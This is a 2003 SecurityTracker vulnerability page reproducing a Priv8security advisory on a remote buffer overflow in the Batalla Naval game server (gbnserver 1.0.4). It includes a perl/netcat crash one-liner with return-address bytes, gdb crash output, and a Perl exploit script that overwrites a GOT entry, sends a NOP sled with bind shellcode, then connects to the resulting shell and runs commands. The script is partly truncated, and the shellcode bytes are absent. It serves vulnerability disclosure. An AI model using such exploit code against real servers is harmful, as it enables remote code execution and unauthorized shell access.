Home    |    View Topics    |    Search    |    Contact Us    |   



Category:   Application (Game)  >   Batalla Naval Vendors:
Batalla Naval Game Buffer Overflow Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1006862
SecurityTracker URL:
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  May 28 2003
Impact:   Denial of service via network, Execution of arbitrary code via network, User access via network
Exploit Included:  Yes  
Version(s): 1.0.4 and probably prior versions
Description:   A buffer overflow vulnerability was reported in the Batalla Naval game. A remote user can crash the game server or execute arbitrary code.

Priv8security reported that a remote user can trigger a buffer overflow and crash the target server by sending a long string. A demonstration exploit is provided:

(perl -e 'print "A" x 500 . "\xdc\xf8\x04\x08" . "\x0f\xff\xff\xbf" x 20 . "\r\n"';cat) | nc localhost 1995

It is reported that a remote user can send a specially crafted string to execute arbitrary commands on the target server with the privileges of the user that started 'gbnserver'.

A demonstration exploit script is available in the Source Message and at:

Impact:   A remote user can cause the game server to crash or to execute arbitrary code. The code will run with the privileges of the user that started the game server process.
Solution:   No solution was available at the time of this entry.
Vendor URL: (Links to External Site)
Cause:   Boundary error
Underlying OS:  Linux (Any), UNIX (Any)

Message History:   None.

 Source Message Contents

Subject:  =?iso-8859-1?Q?[Priv8security_Advisory]_Batalla_Naval_remote_overflow?=

Priv8security advisory: 1
Product: Gnome Batalla Naval
Version: 1.0.4 (and probably earlier versions)
Problem: Remote Buffer overflow
Author: Wsxz (

I - About:
From vendor site: Batalla Naval is a networked, multiplayer battleship
game. It has robots, and support for GGZ Gaming Zone and for IPv6.

II - Problem:
When a user starts gbnserver, remote players can crash the server by
sending a long string.
(perl -e 'print "A" x 500 . "\xdc\xf8\x04\x08" . "\x0f\xff\xff\xbf" x 20
. "\r\n"';cat) | nc localhost 1995

gdb output.

0x405584f7 in poll () from /lib/i686/
(gdb) c

Program received signal SIGSEGV, Segmentation fault.
0xbfffff7a in ?? ()

This string will cause gbnserver to crash and making it possible to users
execute commands under uid of user that started the server.

III - Fix:
No fix at the moment.

IV - Credit:
Bug found by wsxz, any questions mail me at
Sorry, for my poor english.

V - Exploit (Proof of Concept):
Exploit url

---cut here----

# remote exploit for Gnome Batalla Naval Server v1.0.4
#    Game url
#    Tested against Mandrake 9.0
#    [wsxz@localhost buffer]$ perl
#    Connected!
#    [+] Using ret address: 0xbffff3a2
#    [+] Using got address: 0x804f8dc
#    [+] Sending stuff...
#    [+] Done ;pPPp
#    [?] Now lets see if we got a shell...
#    [+] Enjoy your stay on this server =)
#    Linux 2.4.21-0.13mdk #1 Fri Mar 14 15:08:06 EST 2003 
i686 unknown unknown GNU/Linux
#    uid=503(wsxz) gid=503(wsxz) groups=503(wsx

use IO::Socket;
if (@ARGV < 1 || @ARGV > 3) {
print "-= remote gbatnav-1.0.4 server on linux =-\n";
print "Usage: perl $0 <host> <port=1995> <offset=100>\n";
if (@ARGV >= 2) {
$port = $ARGV[1];
$offset = $ARGV[2];
} else {
$port = 1995;
$offset = 0;
$shellcode = #bind shellcode port 5074 by

$ret = 0xbffff3a2; # ret mdk 9.0
$gotaddr = 0x0804f8dc; #objdump -R ./gbnserver | grep strcpy
$new_ret = pack('l', ($ret + $offset));
$new_got = pack('l', ($gotaddr));
$buffer .= "\x90" x (500 - length($shellcode));
$buffer .= $shellcode;
$buffer .= $new_got;
$buffer .= $new_ret x 20;

$f = IO::Socket::INET->new(Proto=>"tcp",
or die "Cant connect to server or port...\n";

print "Connected!\n";
print "[+] Using ret address: 0x", sprintf('%lx',($ret)), "\n";
print "[+] Using got address: 0x", sprintf('%lx',($gotaddr)), "\n";
print "[+] Sending stuff...\n";
print $f "$buffer\r\n\r\n";
print "[+] Done ;pPPp\n";
print "[?] Now lets see if we got a shell...\n";

$handle = IO::Socket::INET->new(Proto=>"tcp",
or die "[-] No luck, try next time ok ...\n";

print "[+] Enjoy your stay on this server =)\n";

print $handle "uname -a;id\n";

    # split the program into two processes, identical twins
    die "cant fork: $!" unless defined($kidpid = fork());

    # the if{} block runs only in the parent process
    if ($kidpid) {
        # copy the socket to standard output
        while (defined ($line =
        kill("TERM", $kidpid);  # send SIGTERM to child
    # the else{} block runs only in the child process
    else {
        # copy standard input to the socket
        while (defined ($line = <STDIN>)) {
            print $handle $line;

---cut here-----


Go to the Top of This SecurityTracker Archive Page

Home   |    View Topics   |    Search   |    Contact Us

This web site uses cookies for web analytics. Learn More

Copyright 2020, LLC